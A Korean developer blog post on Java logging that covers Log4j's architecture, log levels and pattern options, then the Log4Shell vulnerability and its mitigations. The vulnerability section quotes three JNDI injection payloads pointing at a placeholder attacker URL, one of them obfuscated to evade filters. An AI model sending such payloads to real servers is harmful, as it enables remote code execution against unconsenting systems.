Log를 남기다.

기르기르·2022년 11월 11일

Log가 필요한 이유

시스템이 동작할 때 시스템의 상태와 동작 정보를 시간 경과에 따라 기록하는 것을 로그라고한다. 이 로그를 남기는 행위는 로깅이라고 부르는데 개발자는 로깅을 통해서 개발 과정 혹은 개발 후에 발생할 수 있는 예상치못한 문제를 진단할 수 있고 다양한 정보를 수집할 수 있다. 로그는 등급에따라 총 6개의 로그 레벨을 가지고 있으며 적절한 수준의 로그 레벨을 사용하지 않으면 방대한 양의 로그 파일이 생성되는 문제가 생기거나 의미 있는 로그를 할 수 없는 경우가 발생한다. 그렇기때문에 효율적인 로깅이 중요하다고 할 수 있다.

보통 JAVA 개발자들이 사용하는 Log 라이브러리는 위 그림과 같으며 Log4j -> Log4j2 -> Logback 개발된 순으로 10배 씩 속도가 빠르다.

Log4J란? Log For JAVA라고한다.

Log For Java를 줄여서 Log4j라고 하며 Apache 재단에서 개발되어 Spring에 내장되어 있는 라이브러리이다. 무료로 제공되는 오픈소스이기 때문에 세계 주요 기업과 정부기관에서 사용하고 있다.
우리가 익히 아는 System.out.println()가 아닌 Log4j를 이용하는데에는 다음과 같은 이유가 있다.

프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해준다.
속도에 최적화 되어있다.
thread-safe하다.
처음부터 자바의 예외처리를 위해 디자인 되었다.
파일, 콘솔, 원격서버 등 다양한 방식의 출력이 가능하며 email로 전송도 가능하다.

Log4J의 구조

Log4j를 비롯한 Log4j2, Logback 모두 같은 구조를 가진다.

Logger

(1) Log4j의 중심에서 로깅 메세지를 Appender에 전달한다.
(2) 하나의 Logger에 여러 개의 Appender를 가진다.
(3) 개발자가 직접 로그 출력 여부를 조정한다.
(4) 로그 레벨을 가지고 이를 통해 로그의 출력 여부를 결정한다

Appender

(1) 로그의 출력 위치를 결정한다
(2) Appender로 끝나는 클래스들이 API 문서 안에 있으며 그 클래스의 이름을 통해 출력 위치를 짐작할 수 있다. (콘솔(console), 파일(files), 원격 소켓 서버(remote socket servers), DB(MySQL, PostgreSQL,...)등)
(3) 특정 Logger로 들어오는 로깅 요청은 자신을 포함한 상위 Logger의 모든 Appender에게 전달된다.

Appender 요소 안의 Layout, Encoder, Filter

Layout
(1) 사용자의 요청에 따라 로그 메세지의 포맷을 지정한다.
(2) Layout 클래스가 patternLayout인 경우 기본 클래스 매칭 규칙으로 생략 가능하다.
Encoder
(1) Appender에 포함되어 사용자가 지정한 형식으로 표현될 로그 메세지를 변환하는 역할을 담당한다.
(2) 로그 이벤트를 byte 배열로 변환하고 해당 byte 배열을 OutputStream에 쓰는 작업을 한다.
(3) FileAppender와 그 하위 클래스는 Layout을 사용하지 않고 Encoder를 필요로 한다.
Filter
해당 패키지에 반드시 로그를 찍지 않고 필터링이 필요한 경우에 사용한다.

Log의 보안 레벨

총 6개로 구성이 되어있으며 FATAL > ERROR > WARN > INFO > DEBUG > TRACE 의 순으로 심각도가 정해진다. 하지만 심각도와 반대로 상위 레벨을 포함하여 Logging 하는 특성이 있다.
ex) INFO로 설정할 경우 FATAL, ERROR, WARN, INFO가 모두 Loggin된다.

FATAL : 프로그램이 종료될 수 있는 심각한 에러
ERROR : 예상하지 못한 심각한 문제가 발생하는 경우, 즉시 조취를 취해야 할 수준의 레벨
WARN : 잠재적 위험 상태, 경고
INFO :애플리케이션의 주요 실행 정보
DEBUG :애플리케이션을 디버깅하기 위한 내부 실행 상황 정보
TRACE :DEBUG 레벨이 너무 광범위한 것을 해결하기 위한 좀 더 상세한 상태 정보

Log pattern Option

표기	의미
%p	debug, info, warn, error, fatal 등의 priority 출력
%m	로그 내용 출력
%d	로깅 이벤트가 발생한 시간을 출력 ex) %d{HH:mm:ss}와 같은 형태의 SimpleDateFormat
%t	로그 이벤트가 발생된 스레드의 이름을 출력
%F	로깅이 발생한 프로그램 파일명 출력
%l	로깅이 발생한 caller의 정보 출력
%L	로깅이 발생한 caller의 라인 수 출력
%M	로깅이 발생한 method 이름 출력
%	%표시 출력
%n	플랫폼 종속적인 개행문자 출력
%c	카테고리 출력
%C	클래스명 출력 ex) 클래스 구조가 org.apache.xyz.SomeClass 일 때 %C{2} 입력 시 xyz.SomeClass 출력
%r	어플리케이션 시작 이후 로깅이 발생하 시점의 시간(milliseconds) 출력
%x	로깅이 발생한 thread와 관련된 NDC(nested diagnostic context)출력
%X	로깅이 발생한 thread와 관련된 MDC(mapped diagnostic context) 출력

Log4j의 취약점 문제

사실 아직 현업에 들어가지 않아서 막 와닿지는 않지만 보안과 관련된 문제 그것도 Log4j의 취약점은 전세계적인 문제였기에 알아두고 머릿 속에 넣어보자는 취지로 써보려고한다.

Log4j의 최초 취약점(CVE-2021-44228)의 경우

	${jndi:rmi://공격자URL}
 	${jndi:ldap://공격자URL}
	${jndi:${lower:l}${lower:d}a${lower:p}://공격자URL}

별 다른 컴퓨터에 대한 지식 없이 HTTP 통신을 통한 간단한 공격(위와 같이 요청)을 하면 누구라도 공격이 가능하기때문에 심각도 점수는 10점 만점에 10점(CVSS v3.1)으로 제로데이 취약점으로 분류 되었다.
정확한 공격 동작 원리 중 하나는 Soft2000의 공포의 Log4j 취약점, 효과적인 대응 방안은?에서 참고 가능하다.

제로데이 취약점(0 Day Vulnerablility)

공격자(해커)가 먼저 발견한 취약점이라는 뜻으로 Log4j 패치버전이 배포되기 이전에 즉각적으로 공격할 수 있는 취약점이라는 얘기이다. 같은 의미에서 제로아워(zero-hour)의 단어를 쓰기도 한다.
사실상 제로데이 공격으로부터 지킬 수 있는 방법은 거의 없으며 방문자는 인터넷 보안수준을 높게 설정하고, 액티브 스크립트 설정의 사용을 제한해 놓는 정도가 컴퓨터를 지킬 수 있는 최선의 수단이다.
개발과 보안 관련 담당자들은 해당 취약점을 빠른 시간 내에 조치하고 취약점이 존재하는 버전이 배포된 시점 이후 로그를 확인하여 공격 여부를 알아내고 필요한 조치를 추가적으로 취하는 것이 방법이다.

취약점 대응 방안

현재는 계속해서 보안 관련 업데이트가 진행되고 있으며 KISA에서 제공한 취약점 대응 가이드 상에서는 Log4j 2.15버전 이상으로 업데이트를 수행하거나 2.0-beta9 ~ 2.10.0 : JndiLookup 클래스를 경로에서 제거 등의 방안을 제시한다.

내가 대학에서 산업안전공학을 전공한 바로는 모든 사고는 예방이 가장 중요하다 했지만 사실 산업재해도 그렇고 이번 Log4j 취약점도 무상 공개된 오픈소스 특성 상 아무리 잘 관리하더라도 모두 예방하는 것은 불가능에 가깝다고 느낀다. 하지만 하인리히의 법칙에서 말하듯 사고에 대한 암시가 존재해 본디 자바 언어로 개발된 마인크래프트(Minecraft)라는 게임에서 특정 채팅 메시지를 입력하면 대상 컴퓨터에서 원격으로 프로그램을 실행하여 그 대상을 마음대로 조종하는 악성 해킹 방식이 있었기에 미리 캐치했다면 예방이 가능하지 않았을까하는 아쉬움도 든다.